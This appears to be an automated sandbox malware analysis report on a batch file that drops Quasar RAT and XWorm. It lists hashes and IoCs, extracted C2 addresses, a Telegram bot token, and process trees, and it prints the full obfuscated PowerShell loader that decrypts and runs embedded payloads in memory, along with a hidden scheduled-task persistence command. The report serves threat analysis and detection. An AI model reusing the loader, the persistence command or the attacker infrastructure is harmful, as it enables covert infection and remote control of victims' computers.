Resubmissions
Analysis
-
max time kernel
59s -
max time network
60s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
13-04-2024 18:14
Static task
static1
Behavioral task
behavioral1
Sample
Client-built.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Client-built.bat
Resource
win10v2004-20240412-en
General
-
Target
Client-built.bat
-
Size
1.6MB
-
MD5
566c653ae6a704041aef596fce6d6a8c
-
SHA1
da35608bf372a6113d941817a96bc3a17de9ef69
-
SHA256
950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9
-
SHA512
98662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2
-
SSDEEP
24576:5fdhc8KmdqCxAN6Wzmom6E7SMVePybPyDJq2Tg60xTmDADhXX9wEvIslVYglu0TW:5FhcZmgs4DANHXvhXNVnEyx8f
Malware Config
Extracted
quasar
1.4.1
Office04
express-divorce.gl.at.ply.gg:22562
6735a92b-88d2-4fbe-8e59-605a85072109
-
encryption_key
8681483EF512C654BECF205A0D74FFCA4B129A98
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Trapix Client Startup
-
subdirectory
SubDir
Extracted
xworm
3.0
traffic-collins.gl.at.ply.gg:24820
uX6FapIHo24Z2JFZ
-
install_file
USB.exe
-
telegram
https://api.telegram.org/bot7171419034:AAFHVFSxi6aVJohwci09QBtbjQ3QtjcLoBc/sendMessage?chat_id=6403260284
Signatures
-
Detect Xworm Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/4672-27-0x00000271D74B0000-0x00000271D75EA000-memory.dmp family_xworm C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe family_xworm behavioral1/memory/4060-123-0x0000000000F20000-0x0000000000F2E000-memory.dmp family_xworm -
Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/2180-113-0x000002613E490000-0x000002613E7B4000-memory.dmp family_quasar -
Blocklisted process makes network request 7 IoCs
Processes:
powershell.exeflow pid process 2 2180 powershell.exe 7 2180 powershell.exe 12 2180 powershell.exe 13 2180 powershell.exe 14 2180 powershell.exe 15 2180 powershell.exe 16 2180 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
XClientNOT.exepid process 4060 XClientNOT.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exepowershell.exepowershell.exepid process 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 1872 powershell.exe 1872 powershell.exe 1872 powershell.exe 2180 powershell.exe 2180 powershell.exe 2180 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4672 powershell.exe Token: SeDebugPrivilege 1872 powershell.exe Token: SeIncreaseQuotaPrivilege 1872 powershell.exe Token: SeSecurityPrivilege 1872 powershell.exe Token: SeTakeOwnershipPrivilege 1872 powershell.exe Token: SeLoadDriverPrivilege 1872 powershell.exe Token: SeSystemProfilePrivilege 1872 powershell.exe Token: SeSystemtimePrivilege 1872 powershell.exe Token: SeProfSingleProcessPrivilege 1872 powershell.exe Token: SeIncBasePriorityPrivilege 1872 powershell.exe Token: SeCreatePagefilePrivilege 1872 powershell.exe Token: SeBackupPrivilege 1872 powershell.exe Token: SeRestorePrivilege 1872 powershell.exe Token: SeShutdownPrivilege 1872 powershell.exe Token: SeDebugPrivilege 1872 powershell.exe Token: SeSystemEnvironmentPrivilege 1872 powershell.exe Token: SeRemoteShutdownPrivilege 1872 powershell.exe Token: SeUndockPrivilege 1872 powershell.exe Token: SeManageVolumePrivilege 1872 powershell.exe Token: 33 1872 powershell.exe Token: 34 1872 powershell.exe Token: 35 1872 powershell.exe Token: 36 1872 powershell.exe Token: SeIncreaseQuotaPrivilege 1872 powershell.exe Token: SeSecurityPrivilege 1872 powershell.exe Token: SeTakeOwnershipPrivilege 1872 powershell.exe Token: SeLoadDriverPrivilege 1872 powershell.exe Token: SeSystemProfilePrivilege 1872 powershell.exe Token: SeSystemtimePrivilege 1872 powershell.exe Token: SeProfSingleProcessPrivilege 1872 powershell.exe Token: SeIncBasePriorityPrivilege 1872 powershell.exe Token: SeCreatePagefilePrivilege 1872 powershell.exe Token: SeBackupPrivilege 1872 powershell.exe Token: SeRestorePrivilege 1872 powershell.exe Token: SeShutdownPrivilege 1872 powershell.exe Token: SeDebugPrivilege 1872 powershell.exe Token: SeSystemEnvironmentPrivilege 1872 powershell.exe Token: SeRemoteShutdownPrivilege 1872 powershell.exe Token: SeUndockPrivilege 1872 powershell.exe Token: SeManageVolumePrivilege 1872 powershell.exe Token: 33 1872 powershell.exe Token: 34 1872 powershell.exe Token: 35 1872 powershell.exe Token: 36 1872 powershell.exe Token: SeIncreaseQuotaPrivilege 1872 powershell.exe Token: SeSecurityPrivilege 1872 powershell.exe Token: SeTakeOwnershipPrivilege 1872 powershell.exe Token: SeLoadDriverPrivilege 1872 powershell.exe Token: SeSystemProfilePrivilege 1872 powershell.exe Token: SeSystemtimePrivilege 1872 powershell.exe Token: SeProfSingleProcessPrivilege 1872 powershell.exe Token: SeIncBasePriorityPrivilege 1872 powershell.exe Token: SeCreatePagefilePrivilege 1872 powershell.exe Token: SeBackupPrivilege 1872 powershell.exe Token: SeRestorePrivilege 1872 powershell.exe Token: SeShutdownPrivilege 1872 powershell.exe Token: SeDebugPrivilege 1872 powershell.exe Token: SeSystemEnvironmentPrivilege 1872 powershell.exe Token: SeRemoteShutdownPrivilege 1872 powershell.exe Token: SeUndockPrivilege 1872 powershell.exe Token: SeManageVolumePrivilege 1872 powershell.exe Token: 33 1872 powershell.exe Token: 34 1872 powershell.exe Token: 35 1872 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exedescription pid process target process PID 2412 wrote to memory of 4672 2412 cmd.exe powershell.exe PID 2412 wrote to memory of 4672 2412 cmd.exe powershell.exe PID 4672 wrote to memory of 1872 4672 powershell.exe powershell.exe PID 4672 wrote to memory of 1872 4672 powershell.exe powershell.exe PID 4672 wrote to memory of 4248 4672 powershell.exe WScript.exe PID 4672 wrote to memory of 4248 4672 powershell.exe WScript.exe PID 4248 wrote to memory of 3708 4248 WScript.exe cmd.exe PID 4248 wrote to memory of 3708 4248 WScript.exe cmd.exe PID 3708 wrote to memory of 2180 3708 cmd.exe powershell.exe PID 3708 wrote to memory of 2180 3708 cmd.exe powershell.exe PID 2180 wrote to memory of 4060 2180 powershell.exe XClientNOT.exe PID 2180 wrote to memory of 4060 2180 powershell.exe XClientNOT.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2412 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4672 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_267_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_267.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1872 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_267.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:4248 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_267.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:3708 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_267.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_267.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2180 -
C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe"C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe"6⤵
- Executes dropped EXE
PID:4060
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5ad5cd538ca58cb28ede39c108acb5785
SHA11ae910026f3dbe90ed025e9e96ead2b5399be877
SHA256c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033
SHA512c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13
-
Filesize
1KB
MD5f404a1d6b3435ba3550ba6cbb87c6fbb
SHA16f61023a2f8114372a4ae62155dc86d066e3bfa8
SHA2566ad86a2c8c7ab664622ab8e5a26d437c3f358fdc99f7cb15fc8279cec40eb059
SHA5124fafaa336308e689e06808479a2d1e05fdc2a43bce6807b009527e06274821cc7d80c4fca7b50a1d826293c458e5cd5bac3f83dc804b59eef466ed288d152639
-
Filesize
31KB
MD5dd466e4e324143a67a406797c23ee2bc
SHA1cc369b99c18c9322734b14908e7b21f2bec48118
SHA2561a87f2fed2a9263e703c44d25da8242016a640db930678a0f497879267c133c8
SHA512603c082427129deac3bce210d87e3f4125dd429ad7fe13422b7a3d80f8e282ae8ad887a20e47de12a3f90c24ab4a143dc3b069fd8da122f4f96b70f94bd7f438
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
1.6MB
MD5566c653ae6a704041aef596fce6d6a8c
SHA1da35608bf372a6113d941817a96bc3a17de9ef69
SHA256950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9
SHA51298662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2
-
Filesize
115B
MD590d9f9c1ee8b2748879d3f0d7692e6c5
SHA19a88b51f56d0c106bf2e13585b96acfef536cb90
SHA25615d67a91884058d7464b1939c42db9f37a9317f7d43115f3613f463af7389a23
SHA512bd961df405cc444200f26e157dec1fa19377f88d29092726a604b1e90fde4c50c9a56d15fac9dce7b9a292f75e11c011ee98f341bbe80d756f49af5089c96bd4